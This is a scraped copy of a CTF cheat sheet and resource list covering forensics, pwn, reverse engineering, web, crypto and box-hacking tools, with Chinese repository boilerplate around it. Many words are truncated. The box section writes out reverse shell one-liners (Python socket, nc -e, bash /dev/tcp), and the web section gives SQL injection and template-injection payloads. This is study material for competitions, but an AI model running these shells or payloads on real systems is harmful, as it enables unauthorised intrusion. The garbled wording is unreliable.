CTFs - CTF Cheat Sheet + Writeups / Files for some of the

项目说明

CTFs

Writeups / Files for some of the Cyber CTFs that I've done

I've also included a list of CTF resources as well as a comprehensive cheat sheet co tons of common CTF challenges

> [!NOTE]
> There is now a web mirror of this repo at hackback.zip

Table of Contents

Resources

* YouTube Channels
* Practice / Learning Sites
+ CTFs
+ General
+ Pwn
+ Rev
+ Web
+ Crypto
+ Smart Contracts
+ Cloud
+ Pentesting

CTF Cheat Sheet

* Forensics / Steganography
- General
- Audio
- Image
- Video
- Machine Image
- Pcap
* Pwn / Binary Exploitation
- General
- Buffer o
- PIE (Positional Independent Execution)
- NX (Non-executable)
- ROP (for statically compiled binaries)
- Stack Canary
- Format String
- Shellcode
- Return-to-Libc
* Reverse Engineering
- SMT Solvers
- Re byte-by-byte checks
- Searching strings with gef
* Web
- Fuzzing input fields
* Crypto
+ CyberChef
+ Common Ciphers
+ RSA
- Grab RSA Info with pycryptodome
- Chinese Remainder Theorem (p,q,e,c)
- Coppersmith attack (c,e)
- Pollards attack (n,e,c)
- Wiener Attack (n,e,c)

+ Base16, 32, 36, 58, 64, 85, 91, 92
* Box
+ Connecting
+ Enumeration
+ Pri escalation
+ Listen for reverse shell
+ Reverse shell
+ Get interacti
- Linux
- Windows / General
* OSINT
* Misc

Resources

YouTube Channels

John Hammond

- Used to make a lot of CTF , but has moved on to other things
- Still a ton of useful . The CTF ones especially are amazing for teaching people brand new to cyber.

Li

- Makes extremely interesting and in-depth about cyber.
- Has an amazing pwn series

IppSec

- Makes writeups of every single HackTheBox
machine
- Talks about diff ways to solve and why things work. Highly recommend

Computerphile

- Same people as Numberphile, but cooler. Makes really beginner-level and intuiti about basic concepts.

pwn.college

- ASU professor that has tons of on pwn
- Guided course material:
- Tons of practice problems:

PwnFunction

- Very high-quality and easy-to-understand animated about diff topics
- Topics are a bit ad, but easily understandable

Martin Carlisle

- Makes amazing writeup about the picoCTF challenges.

Sam Bowne

- CCSF professor that open sources all of his lectures and course material on his website

UFSIT

- UF Cyber team (I'm a bit biased, but def one of the better YouTube channels for this)

Gynvael

- Makes amazingly intuiti writeups. Has done the entirety of picoCTF 2019 (that's a lot)

Black Hills Information Security

- Security firm that makes a ton of educational content
- Always doing free courses and webcasts about security topics

stacksmashing

- Amazing reverse engineering & hardware hacking
- Has a really cool series of him reverse engineering WannaCry

Ben Greenberg

- GMU prof with a bunch of pwn and malware video tutorials
- A bit out-of-date, but still good

InfoSecLab at Georgia Tech

- Good & ad in-depth lectures on pwn
- Requires some background knowledge

RPISEC

- RPI Uni team meetings
- Very ad and assumes a bit of cs background knowledge

Matt Brown

- Embedded Security Pentester
- Makes great beginner-friendly about IoT hacking

Talks

Here are some slides I've put together: hackback.zip/presentations

Practice / Learning Sites

CTFs

PicoCTF

- Tons of amazing practice challenges.
- Definitely the gold standard for getting started

UCF

- Good o, but great pwn practice
- I'm currently working on putting writeups here

hacker101

- CTF, but slightly more geared toward pentesting

CSAW

- Down 90% the time and usually none of the connections work
- If it is up though, it has a lot of good introductory challenges

CTF101

- One of the best intros to CTFs I've seen (gj osiris)
- Very succinct and beginner-friendly

General

HackTheBox

- The OG box site
- Boxes are curated to ensure quality
- Now has some CTF-style problems
- Now has courses to start learning

TryHackMe

- Slightly easier boxes than HackTheBox
- Step-by-step challenges
- Now has "learning paths" to guide you through topics

CybersecLabs

- Great collection of boxes
- Has some CTF stuff

- Has machines you have to deploy yourself
- Lots of , but hard to find good ones imo

Pwn

pwnable.kr

- Challenges with good range of difficulty

pwnable.tw

- Harder than pwnable.kr
- Has writeups once you solve the chall

pwnable.xyz

- More pwn challenges
- Has writeups once you solve the chall
- You can upload your own challenges once you solve all of them

pwn dojo

- Best collection of pwn challenges in my opinion
- Backed up with slides teaching how to do it & has a discord if you need help

nightmare

- Gold standard for pwning C binaries
- Has a few mistakes/typos, but amazing o

pwn notes

- Notes from some random person online
- Very surface-level, but good intro to e

Security Summer School

- Uni of Bucharest Security Course
- Very beginner-friendly explanations

RPISEC MBE

- RPI's Modern Binary Exploitation Course
- Has a good amount of labs/projects for practice & some (slightly dated) lectures

how2heap

- Heap Exploitation series made by ASU's CTF team
- Includes a very cool debugger feature to show how the exploits work

ROPEmporium

- Set of challenges in every major architecture teaching Return-Oriented-Programming
- Very high quality. Teaches the most basic to the most ad techniques.
- I'm currently adding my own writeups here

Phoenix Exploit Education

- Tons of binary exploitation problems ordered by difficulty
- Includes source and comes with a VM that has all of the binaries.

Rev

challenges.re

- So many challenges 0_0
- Tons of di

re.kr

crackmes.one

- Tons of crackme (CTF) style challenges

Malware Unicorn Workshops

- Free workshops about Reverse engineering and Malware Analysis

Web

websec.fr

- Lots of web challenges with a good range of difficulty

webhacking.kr

- Has archive of lots of good web challenges

Securing Web Applications

- Open source CCSF Course

OWASP Juice Shop

- Very much geared toward pentesting, but useful for exploring web in CTFs
- Over 100 vulns/challenges in total

PortSwigger

- Gold standard for understanding web hacking
- Tons of amazing challenges & explanations

DVWA

- Very much geared toward pentesting, but useful for exploring web in CTFs

bWAPP

- Very much geared toward pentesting, but useful for exploring web in CTFs

CTF Challenge

- Collection of web challenges made by Adam Langley that are made to be as realistic as possible.
- Good for getting bug bounty experience

Crypto

CryptoHack

- I'm currently working on putting writeups here

cryptopals

- The OG crypto challenge site.

CryptoCTF

- Annual cryptography CTF. Previous years accessible at 20{19,20,21,22,23,24}.cr.yp.toc.tf.

Smart Contracts

Capture the Ether

Cloud

CloudFoxable

- Walks you through setting up a en to be exploited using cloudfox

flaws.cloud

- Free challenges that invol secrets in S3, EC2, and Lambda

Pentesting

hacker101

hacksplaining

Exploit de

- Open source CCSF Course

Intro to Security

- UC San Diego course taught by Deian Stefan
- Covers basic pwn and crypto

Acti Cheat Sheet

WADComs

- Interacti sheet for Windows/AD en

LOLBAS

- Interacti sheet for Windows "Living off the land" binaries, scripts, and libraries for exploitation

GTFOBins

- Interacti sheet for Linux "Living off the land" techniques.

CTF Cheat Sheet

Forensics / Steganography

#### General

AperiSolve

- Tool that automatically runs other stego tools

Really good resource from John Hammond for different types of challenges:

-

Another very great cheat sheet for creating and solving challenges:

-

file

- file <file.xyz>
- Determines the type of file

steghide

- steghide extract -sf <file.xyz>
- Extracts embedded files

stegseek

- stegseek <file> <password list>
- Extracts embedded files using a wordlist
- super super quick

binwalk

- binwalk -M --dd=".*" <file.xyz>
- Extracts embedded files

exiftool

- exiftool <file.xyz>
- Reads metadata

strings

- strings <file.xyz>
- Finds all printable characters in a file

hexedit

- hexedit <file.xyz>
- You may have to change the file signature on some images for them to open
- List of common file signatures

Ghex (another hex editor but with GUI. Good if you need to jump to a certain byte)

- ghex <file.xyz>

docx files are containers so you can unzip them to find hidden content

- unzip <file.docx>

Grep - A good way to use grep to find the flag recursively:

- grep -r --text 'picoCTF{.*}'
- egrep -r --text 'picoCTF{.*?}
- You can change 'picoCTF' to the beginning of the flag you are looking for

Ltrace - Allows you to see what the code is doing as you run the program:

- ltrace ./<file>
- ltrace -s 100 ./<file>
- Ltrace shortens very long strings. You can use -s to increase how many characters ltrace shows. Good for when looking at strcmp that ha strings.

#### Audio

Fax machine audio:

- Example
- Decoder

SST t (moon stuff)

- Example
- Decoder
- Alt Decoder
- Use these qsst:

!SST

Spectrogram image

- Decoder

Change pitch, speed, direction...

- Pitch, speed, tune
- Reverse

DTMF (dual tone multiple frequency) phone keys

- multimon-ng -a DTMF -t wav <file.wav>
- Keep in mind that these could me multitap letters.
- This can decode the numbers into text

Cassette tape

- Example
- Decoder (wav to tap files)

Morse code

- Decoder

#### Image

stegsolve

- Switch through bits

foremost

- Special tool for extracting images
- Can be used to put together broken images (in pcap for example)

Depix

- Unpixelate text

Check if something was photoshopped (look at highlights)

-

zsteg

- LSB decoder

jsteg

- jpeg steganography solver

pixrecovery

- so far the most effective png recovery tool i' (as long as you don't care about watermarks)
- photopea also works very well

crc32fix

- fix height and width of png based on checksum

PCRT

- fix png header and footer info

png-crc-fix

- fix png checksum

pngcheck

- find out if there are errors in the png
- pngcheck <file>

#### Video

#### Machine Image

Reco files

- photorec <file.bin>

You can mount an image as a machine

-

Mount a .img file:

- binwalk -M --dd=".*" <fileName>
- run file on output and select the Linux filesystem file
- losetup /dev/loop<freeLoopNumber> <fileSystemFile>

#### Pcap

Extract data with tcpflow

- tcpflow -r <file.pcap>

Extract data with wireshark

- File → Export Objects → Make selection

Pwn / Binary Exploitation

For this one, I suggest looking at my LearnPwn repo instead, as this cheatsheet was made before I knew much about pwn

- However, I ha _some_ notes amending to what I have here.

#### General

check security of ELF

- checksec <binary>
- rabin2 -I <binary>

check security of PE

- binary-security-check
- binary-security-check <bin>.exe

check seccomp bpf

- seccomp-tools
- seccomp-tools dump ./<binary>

look at symbols

- readelf -s <binary>

look at strings

- rabin2 -z <binary>

pack address to byte

- little endian (for 32 bits)
- python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (for 64 bits)
- python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools automatically packs addresses with the correct endianness for you

#### Buffer o

If you ever need to get a /bin/sh shell and you are sure it works but the program exits anyways, use this trick:

- ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools does this with its process.interactive()

#### PIE (Positional Independent Execution)

determine random value

- pwn cyclic <numChars> to generate payload
- dmesg | tail | grep segfault to see where error was
- pwn cyclic -l 0x<errorLocation> to see random offset to control instruction pointer
- example

#### NX (Non-executable)

We can use ROP (return oriented programming) to solve

#### ROP (for statically compiled binaries)

ROPGadget

- view gadgets & automatically generate ropchains
- ROPgadget --ropchain --binary <binary>
- You can then add padding at the start of the code (based on the difference between your buffer and return address) and run the code to get a shell
- Demo

ropr

#### Stack Canary

Finding the stack canary in a debugger

Stack canary is a value placed before the EIP/RIP (instruction pointer) that can o by a buffer o. The program causes an error basically if the stack is o to something different than it originally was. Our goal is to find the original stack so when we o, the program runs normally.

The stack canary is taken from gs, or fs (for 32 and 64 bit respectively)

- In the disassembly, before something is read, you can see a line similar to the following:

Here, the stack canary is moved into rax at offset +8.

- Thus, break at the next offset and check what's in rax (i r rax) to see what the current canary is

Static Canaries

A canary is only static if it was manually implemented by the programmer (which is the case in some intro pwn challenges), or if you are able to fork the program.

- When you fork the binary, the forked one has the same canary, so you can do a byte-by-byte bruteforce on that

Extra

When a stack canary is improperly o, it will cause a call to __stack_chk_fail

- If we can't leak the canary, we can also modify the GOT table to prevent it from being called

The canary is stored in the TLS structure of the current stack and is initialized by security_init

- If you can o the real canary value, you can set it equal whatever you decide to o.

Simple script to bruteforce a static 4 byte canary:

#### Format String

Look at Table 2 for what to try if you see "printf(buf)" or something like that:

-

Highly recommend looking at John Hammond doing 'echooo' challenge from picoCTF 2018

Sometimes, trying to print only strings from the stack like this: '%s %s %s %s %s %s' may cause errors since not e in the stack is a string.

Try to minimize that by doing '%x %x %x %x %x %s' instead

Instead of having to constantly increase how many %x and %s you type, you can pass a parameter to make it easier:

- %1$s - This will print the first value in the stack (from what I understand, the one right next to your buffer) as a string.
- %2$s - This will print the 2nd value as a string, and you get the idea
- You can use one-liner loops to try to find the flag by leaking the stack. Press ^C (CTRL + C) to go to the next value.
- for i in {1..100}; do echo "%$i\$s" | nc b7dca240cf1fbf61.247ctf.com 50478; done

You can control how much you leak using different size parameters:

- %hhx leaks 1 byte (half of half of int size)
- %hx leaks 2 bytes (half of int size)
- %x leaks 4 bytes (int size)
- %lx leaks 8 bytes (long size)

very good video on modifying the stack with fstring vuln and %n:

-

#### Shellcode

Good website to find different shellcode:

-

#### Return-to-Libc

We will o the EIP to call the system() library function and we will also pass what it should execute, in this example a buffer with "/bin/sh"

Good explanation:

-

Good example (go to 3:22:44):

-
-

Get address for execve("/bin/sh")

- one_gadget <libc file>

If you already know the libc file and a location (ie. dont have to leak them...)

Reverse Engineering

> Cool Guide:

Ghidra

- Very useful decompiler

dotPeek or dnSpy

- decompile .NET executables

jadx and jadx-gui

- decompile apks

de

- decompile ja

Quiltflower

- Ad terminal-based ja

apktool

- decompile apks
- apktool d *.apk

gdb

- Binary analysis
- peda (extension for increased functionality)
- gef (gdb extension for pwners)

radare2

- Binary analysis

FLOSS

- strings on steroids. Uses static analysis to find and calculate strings

#### SMT Solvers

angr (python)

- Docs
- Tutorial

z3

- Tutorial

#### Re byte-by-byte checks (side-channel attack)

Here's a I made for a challenge that uses a time-based attack:

- You might have to run it a couple times just to account for randomness

#### Searching strings with gef

If your flag is being read into a or register at any point, you can break after it is moved and run grep <string> and gef will automatically show you the string that matches your search pattern

Web

Nikto (if allowed)

- automatically looks for

gobuster (if allowed)

- Brute forces directories and files

hydra (if allowed)

- Brute forces logins for services

BurpSuite

- Intercepts web requests and allows you to modify them

Wireshark

- Analyze li traffic and pcap files

php reverse shell

- Useful for websites that allow you to upload files
- This file needs to be executed on the server to work

WPScan

- Scan wordpress websites
- Use wpscan --url <site> --plugins-detection mixed -e with an api key for best results

jwt

- You can identify a JWT token since base64-encoded json (and thus jwt tokens) begins with "ey"
- This site will decode JSON web tokens
- You can crack the secret for the JSON web token to modify and sign your own tokens
- echo <token> > jwt.txt
- john jwt.txt

SQL injection

- sqlmap
- sqlmap --forms --dump-all -u <url>
- Automates the process of SQL injection
- Basic SQL injection
- Enter 'OR 1=1-- in login form
- On the server this will e to SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
- 1=1 e to true, which satisfies the OR statement, and the rest of the query is commented out by the --

PayloadsAllTheThings

- Great resource for web exploitation with lots of payloads

Template Injection

- tplmap
- Automated ser template injection
- Jinja Injection
- \{\{ config.items() \}\}
- Flask Injection
- \{\{ config \}\}
- Python eval() function
- __import__.('subprocess').getoutput('<command>')
- make sure to switch the parentheses if it doesn't work
- __import__.('subprocess').getoutput('ls').split('\\n')
- list files in system
- More python injection

Cross Site Scripting

- CSP E
- Google's Content Security Policy E

Fuzzing input fields

FFUF

- Copy the request to the input field and replace the parameter with "FUZZ":
- ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Use -fs to filter sizes

Crypto

CyberChef

CyberChef

- Carries out cryptography operations

Cipher Detector

Hashes

hashid

- Command-line utility to detect the hash type

Common Ciphers

Caesars Cipher

Cipher

Substitution Cipher

Rot13

Keyed Caesars cipher

RSA

#### Grab RSA Info with pycryptodome

#### Chinese Remainder Theorem (p,q,e,c)

Use this when you can factor the number n

- Bad implementations will have more than one prime factor
- Proof

Old

New

Website that gi and euler's totient (phi)

-

#### Coppersmith attack (c,e)

Usually used if the exponent is very small (e <= 5)

- Proof

#### Pollards attack (n,e,c)

Based on Pollard's factorization method, which makes products of primes easy to factor if they are (B)smooth

- This is the case if p-1 | B! and q - 1 has a factor > B

#### Wiener Attack (n,e,c)

For use when d is too small (or e is too big)

- Using this python module
- Proof

Base16, 32, 36, 58, 64, 85, 91, 92

Box

Connecting

ssh

- ssh <username>@<ip>
- ssh <username>@<ip> -i <private key file>
- Mount SSH in as a file system locally:
- sshfs -p <port> <user>@<ip>: <mount_directory>
- Known hosts
- ssh-copy-id -i ~/.ssh/id_rsa.pub <user>

netcat

- nc <ip> <port>

Enumeration

Machine discovery

- netdiscover

Machine port scanning

- nmap -sC -sV <ip>

Linux enumeration

- enum4linux <ip>

SMB enumeration

- smbmap -H <ip>

Connect to SMB share

- smbclient //<ip>/<share>

Pri escalation

linpeas

- ./linpeas.sh
- Automatically looks for pri escalation

List commands we can run as root

- sudo -l

Find files with the SUID permission

- find / -perm -u=s -type f 2>/dev/null
- These files execute with the pri of the owner instead of the user executing them

Find permissions for all services

- accesschk.exe -uwcqv *
- Look for services that are not under the System or Administrator accounts

Query Service

- sc qc <service name>
- Only works in cmd.exe

Listen for reverse shell

nc -lnvp <port>

Reverse shell

re.com

- templates for basically e you might need

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc -e /bin/sh <ip> <port>

bash -i >& /dev/tcp/<ip>/<port> 0>&1

Get interacti

#### Linux

1. Run the following python command to make it partially interactive: python -c 'import pty;pty.spawn("/bin/bash");'
2. Exit the netcat session with CTRL+Z and run stty raw -echo locally
3. Reenter your session with the command fg (and the job id afterward if needed)
4. Change your terminal emulator to xterm by running export TERM=xterm (this might not be necessary)
5. Change your shell to bash by running export SHELL=bash (this might not be necessary)
6. Done! Now your shell should be fully interactive

#### Windows / General

1. Install rlwrap on your system
2. Now, every time you run a nc listener, just put rlwrap in front
3. For example: rlwrap nc -lvnp 1337
* This will give you arrow keys and command history, but won't gi (as far as I can tell) for windows and *nix systems

OSINT

pimeyes

- Reverse search faces on the internet

OSINT Framework

- Website that aggregates tons of OSINT tools

GeoSpy AI

- Geospatial LLM that can estimate location just from an image

o turbo

- Website that lets you query the OpenStreetMap API and results

Bellingcat OSM search

- Website that lets you easily query the OSM API

Misc

Resolving DNS Errors

- dig <site> <recordType>
- List of record types
- Make sure you try TXT

Run a binary as a different architecture

- 64 bit:
- linux64 ./<binary>
- 32 bit:
- linux32 ./<binary>

Extract MS Macros:

-

View CNC GCode

-

项目信息

开发语言：C

Star 数：864

技术要点

该项目属于CTF思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕CTF Cheat Sheet + Writeups / Files for some of the Security CTFs that I've done展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。